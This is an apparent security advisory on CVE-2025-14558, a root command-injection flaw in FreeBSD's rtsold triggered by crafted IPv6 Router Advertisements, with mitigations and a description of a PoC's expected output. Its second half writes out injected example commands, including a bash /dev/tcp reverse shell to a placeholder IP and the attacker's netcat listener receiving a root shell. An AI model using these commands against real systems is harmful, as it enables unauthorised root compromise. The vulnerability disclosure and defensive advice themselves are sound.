🚨 CVE-2025-14558 : Critical Remote Code Execution in FreeBSD (IPv6)

🧠 Overview

CVE-2025-14558 is a critical Remote Code Execution (RCE) vulnerability affecting FreeBSD systems that use IPv6 router solicitation services. A flaw in how untrusted network input is handled allows attackers to execute arbitrary shell commands.

📊 Severity

• CVSS v3 Score: 9.8 / 10 🔥
• Risk Level: Critical
• Privileges Required: None
• User Interaction: None

🎯 Affected Components

• rtsol(8)
• rtsold(8)
• FreeBSD systems using IPv6 Stateless Address Autoconfiguration (SLAAC)

⚙️ Technical Details

• Malicious IPv6 Router Advertisement (RA) packets can include a crafted Domain Search List option
• Input is passed unsafely to resolvconf(8)
• Improper shell quoting allows command injection
• Results in arbitrary command execution as root

🕸️ Attack Vector

• 🌐 Network-based
• 📍 Attacker must be on the same local network segment
• No authentication or credentials required

💥 Impact

If exploited successfully, an attacker can:

• Gain full system compromise
• Execute arbitrary commands
• Modify system configuration
• Establish persistence or lateral movement

🧪 Exploit Availability

• ✅ Public Proof-of-Concept (PoC) exists
• Demonstrates command execution via crafted IPv6 RA packets

🛡️ Mitigation & Defense

Strongly recommended actions:

• 🔧 Apply official FreeBSD security patches
• 🚫 Disable rtsol / rtsold if IPv6 RA is not required
• 🔒 Filter or block untrusted IPv6 Router Advertisements
• 🧱 Use network segmentation to limit local attacker exposure

📝 Key Takeaway

Any FreeBSD system listening to IPv6 router advertisements on an untrusted network is at high risk. Patch immediately or disable the affected services.

If the PoC script for CVE-2025-14558 works successfully on a vulnerable FreeBSD system (unpatched, with rtsold running and processing IPv6 RA messages):

On the Target (Vulnerable FreeBSD Machine):

• The injected command executes immediately as root (since rtsold runs as root and calls /sbin/resolvconf with the malicious domain).
• No visible output appears in the console or logs by default (the command runs silently in the background).
• Examples of what happens:

  • For simple test like --command "id > /tmp/pwned":

    • A file /tmp/pwned is created containing output like:

      root@kitploit:~

      uid=0(root) gid=0(wheel) groups=0(wheel)
      

  • For --command "touch /tmp/exploit_success":

    • A empty file /tmp/exploit_success appears.

  • For reverse shell like --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1":

    • No immediate visible change on the target, but a connection attempts to your listener.

Check on the target with commands like:

ls -l /tmp/pwned
cat /tmp/pwned

On the Attacker Side (Running the Script):

• The script outputs:

  root@kitploit:~

  [+] Sending malicious RA on eth0
  [+] Injected command: id > /tmp/pwned
  [+] Target must run vulnerable rtsold and process the RA
  [+] Done. Check target for execution (e.g. /tmp/pwned)
  
  

• For reverse shell: If successful, your nc -lvnp 4444 gets a connection and a root shell:

  root@kitploit:~

  listening on [any] 4444 ...
  connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
  bash: cannot set terminal process groups: No job control in this shell
  bash: no job control in this shell
  root@vulnerable-host:~ #
  

  ---

  (You now have root shell – type commands like id, whoami, etc.)

If It Doesn't Work:

• No file created/no connection → reasons: Target patched, rtsold not running, not on same L2 network, firewall blocking RA, or IPv6 disabled.

This is observable only in a controlled lab on a vulnerable (pre-Dec 16, 2025 patch) FreeBSD system. No public real-world exploitation reports as of December 23, 2025. Patch immediately in production.

⚠️ Disclaimer: This information is provided for informational purposes only and does not constitute security, legal, or operational advice. Always review and follow official vendor advisories, patches, and guidance before taking remediation actions.